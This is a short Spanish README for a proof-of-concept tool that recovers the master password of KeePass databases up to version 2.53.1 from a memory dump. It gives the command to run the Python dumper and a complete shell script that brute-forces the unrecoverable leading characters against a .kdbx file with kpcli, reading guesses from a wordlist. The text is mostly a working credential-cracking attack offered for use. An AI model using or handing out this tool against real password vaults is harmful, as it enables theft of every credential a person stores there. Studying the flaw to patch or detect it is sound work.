
Recuperar la contraseña maestra de una base de datos keepass <= 2.53.1
python3 poc.py <PathToDmp>

Como recordatorio, el primer carácter no se puede encontrar en el volcado, y para el segundo, el script solo te dará algunas posibilidades. En cualquier caso, te recomendamos ejecutar la fuerza bruta en 2 caracteres con el siguiente script:
#!/bin/sh
# Uso: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist con 2 caracteres)
while read i
do
echo "Usando contraseña: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
Este script funciona muy bien en el caso de una máquina física, para máquinas virtuales no parece estable
Por cierto: el script de Python presente en este proyecto sigue la lectura del siguiente proyecto: https://github.com/vdohney/keepass-password-dumper